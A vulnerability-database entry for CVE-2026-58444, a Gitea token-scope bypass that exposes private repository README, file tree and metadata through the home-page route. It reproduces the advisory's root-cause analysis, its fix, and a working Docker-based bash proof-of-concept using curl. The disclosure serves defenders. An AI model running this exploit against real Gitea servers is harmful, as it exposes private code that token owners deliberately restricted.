CVE-2026-58444
mediumpriority · track · 0OT risk · elevatedEPSS 0.004 · 29 %ileDEEURUUSEPSS · scored 2026-10-26
Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (9)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2304Gitea: Mehrere SchwachstellenDeutsch2026-07-13csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen, Sitzungen zu übernehmen oder wiederzuverwenden oder einen Denial-of-Service-Zustand auszulösen.
- GHSA-cp3q-vrj2-ghhhGitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents2026-07-21ghsa · osvUS
### Summary A personal access token (PAT) or OAuth2 token that does **not** carry the `repository` scope or that is **public-only** is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route `GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token. This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in: - **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download - **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds `repo.Home` is the remaining token-auth-enabled content route that was not given the guard. ### Details / Root cause Web routes accept token authentication only when explicitly opted in with `webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries `AllowBasic` (added so that `go get` can resolve private modules): ```go // routers/web/web.go:1256 m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic, context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch), repo.SetEditorconfigIfExists, repo.Home) ``` When a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go` sets `IsApiToken = true` and records `ApiTokenScope`: ```go // services/auth/basic.go store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = token.Scope ``` The patched sibling handlers all call the web-side scope guard `context.CheckRepoScopedToken(...)`, which enforces both the public-only restriction and the `repository` scope: ``` routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww routers/web/repo/attachment.go:190 (attachments / release assets, centralized) routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w ``` `repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its only gate is `checkHomeCodeViewable`, which verifies the **user's** permission and that the code unit is enabled neither of which constrains the **token's** scope. The README, file listing, and sidebar are then rendered. (The `handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo view is not.) ### Proof of Concept Reproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to the source commit above). A private repository `admin/secretrepo` is created, and a token is minted with **only** the `read:user` scope (no `repository` scope). ``` === anonymous baseline (repository is private) === anon GET /admin/secretrepo HTTP=404 === same no-repo-scope token across routes === API repo get (proves token lacks repo scope) HTTP=403 canary=0 /admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0 /admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0 /admin/secretrepo.rss (control) HTTP=403 canary=0 /admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1 ``` A second token with scope `public-only,read:repository` behaves identically: `/archive` → 403, but `/admin/secretrepo` → 200 and returns the private content. `canary=1` means the private README marker was returned in the HTML response; the private file name `SECRET.md` is also disclosed in the rendered file tree. Full self-contained reproducer (Docker, prints a PASS/FAIL verdict): ```bash #!/usr/bin/env bash set -euo pipefail N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2' docker rm -f $N >/dev/null 2>&1 || true docker run -d --name $N \ -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \ -e GITEA__server__ROOT_URL=http://localhost:3000/ \ -e GITEA__service__DISABLE_REGISTRATION=true \ -p 3000:3000 gitea/gitea:main-nightly >/dev/null for i in $(seq 1 40); do [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done docker exec -u git $N gitea admin user create --admin --username admin \ --password "$PW" --email admin@example.com --must-change-password=false >/dev/null curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \ -H 'Content-Type: application/json' \ -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])") curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ -H 'Content-Type: application/json' \ -d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \ --scopes read:user --token-name norepo --raw | tail -1) echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)" for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p") echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)" done echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1" docker rm -f $N >/dev/null ``` ### Impact Any holder of a non-`repository`-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only `read:issue`, or a `public-only` token issued to a third-party integration). The disclosure is bounded to the repository root view because the deeper `/{owner}/{repo}/src/*` routes do not enable `AllowBasic`. ### Suggested remediation Mirror the sibling handlers: at the start of `repo.Home` (`routers/web/repo/view_home.go`), or as route middleware on `routers/web/web.go:1256`, add: ```go context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read) if ctx.Written() { return } ``` It is also worth auditing the other `AllowBasic`/`AllowOAuth2` web routes that render repository data for the same omission notably `actions.GetWorkflowBadge` (`routers/web/web.go:1568`), which currently exposes a private repository's workflow build status (pass/fail) to a token without the `repository` scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).
- GO-2026-6050Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents in gitea.dev2026-07-22vendor · osvUS
Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents in gitea.dev
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://blog.gitea.com/gitea-1.27.0-is-released/enisa_euvd
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0enisa_euvd
- https://github.com/go-gitea/gitea/security/advisories/GHSA-cp3q-vrj2-ghhhenisa_euvd
- https://blog.gitea.com/gitea-1.27.0-is-released/nvd
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0nvd
- https://github.com/go-gitea/gitea/security/advisories/GHSA-cp3q-vrj2-ghhhnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan